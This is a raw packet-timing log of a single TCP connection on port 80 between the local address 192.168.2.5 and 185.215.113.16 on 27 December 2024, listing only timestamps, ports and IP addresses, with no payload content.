Dec 27, 2024 08:45:37.710618973 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.710691929 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.714452028 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.714517117 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.714593887 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.718354940 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.718405008 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.718415022 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.722242117 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.722297907 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.722337008 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.726154089 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.726201057 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.726226091 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.730011940 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.730065107 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.730103970 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.733894110 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.733936071 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.733990908 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.737848043 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.737895966 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.737997055 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.741648912 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.741693974 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.741731882 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.745537996 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.745589972 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.745656967 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.749439955 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.749476910 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.749516010 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.753285885 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.753334045 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.753518105 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.757217884 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.757260084 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.757349968 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.761086941 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.761120081 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.761140108 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.765007019 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.765053988 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.765074015 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.768856049 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.768906116 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.768945932 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.772761106 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.772805929 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.772842884 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.776633024 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.776681900 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.776747942 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.780513048 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.780556917 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.780630112 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.784413099 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.784459114 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.784529924 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.788306952 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.788353920 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.788392067 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.792196035 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.792248964 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.792340994 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.796150923 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.796195030 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.796235085 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.799947023 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.799989939 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.800048113 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.803857088 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.803904057 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.804014921 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.807776928 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.807841063 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.807868004 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.811600924 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.811655998 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.811707973 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.815532923 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.815584898 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.815610886 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.819360971 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.819416046 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.819421053 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.823273897 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.823338032 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.823379040 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.875056028 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.892407894 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.892545938 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.892611980 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.893488884 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.893502951 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.893554926 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.895973921 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.896055937 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.896105051 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.898513079 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.898648024 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.898695946 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.901874065 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.901954889 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.902000904 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.905129910 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.905265093 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.905316114 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.908273935 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.908399105 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.908443928 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.911351919 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.911515951 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.911560059 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.914340019 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.914453983 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.914505959 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.917294979 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.917397022 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.917442083 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.920218945 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.920336962 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.920383930 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.923075914 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.923199892 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.923250914 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.925899982 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.926070929 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.926114082 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.928658962 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.928759098 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.928805113 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.931413889 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.931514025 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.931559086 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.934176922 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.934201002 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.934257984 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.936868906 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.936963081 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.937016010 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.939416885 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.939512014 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.939562082 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.942008972 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.942131996 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.942173958 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.944631100 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.944725990 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.944772959 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.947156906 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.947273970 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.947320938 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.949692965 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.949784040 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.949829102 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.952181101 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.952328920 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.952382088 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.954700947 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.954761982 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.954807043 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.957182884 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.957268953 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.957313061 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.959706068 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.959858894 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.959903002 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.962205887 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.962307930 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.962357044 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.964732885 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.964855909 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.964905977 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.967252016 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.967380047 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.967432022 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.969733000 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.969815016 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.969871044 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.972201109 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.972321033 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.972373962 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.974708080 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.974853039 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.974901915 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.977232933 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.977322102 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.977371931 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.979727983 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.979845047 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.979896069 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.982219934 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.982336044 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.982388020 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.984746933 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.984885931 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.984941959 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.987271070 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.987375021 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.987425089 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.989733934 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.989850998 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.989901066 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.992230892 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.992345095 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.992400885 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.994745970 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.994890928 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.994937897 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.997282028 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.997406006 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.997452021 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:37.999815941 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.999908924 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:37.999960899 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.002243042 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.002348900 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.002401114 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.004678965 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.004796028 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.004851103 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.007133007 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.007262945 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.007329941 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.009603977 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.009676933 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.009748936 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.012115002 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.012219906 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.012274027 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.014538050 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.014697075 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.014746904 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.017013073 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.017025948 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.017093897 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.019520998 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.019614935 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.019666910 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.021923065 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.022043943 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.022106886 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.024373055 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.078175068 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.084095955 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.084114075 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.084172010 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.084945917 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.084960938 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.085094929 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.086508036 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.086579084 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.086627007 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.088306904 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.088357925 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.088404894 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.090173006 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.090188980 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.090296030 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.091954947 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.091979027 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.092037916 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.093416929 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.093524933 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.093573093 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.095107079 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.095515966 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.095566034 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.096796989 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.096906900 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.096956015 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.098433971 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.098536968 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.098594904 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.100070953 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.100429058 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.100477934 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.101705074 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.101818085 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.101867914 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.103380919 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.103435993 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.103492975 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.104904890 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.105016947 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.105065107 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.106481075 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.106589079 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.106641054 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.108055115 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.108163118 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.108211040 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.109628916 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.109739065 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.109785080 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.111138105 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.111263990 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.111325979 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.112682104 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.112809896 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.112858057 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.114197969 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.114275932 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.114331007 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.115730047 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.115828037 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.115878105 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.117238045 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.117312908 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.117371082 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.118705988 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.118844986 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.118894100 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.120182037 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.120304108 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.120364904 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.121670961 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.121748924 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.121802092 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.123116016 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.123239994 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.123295069 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.124593973 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.124721050 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.124771118 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.126060963 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.126178980 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.126233101 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.127542973 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.127561092 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.127612114 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.128993034 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.129054070 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.129106998 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.130420923 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.130492926 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.130537033 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.131854057 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.131925106 CET	80	49772	185.215.113.16	192.168.2.5
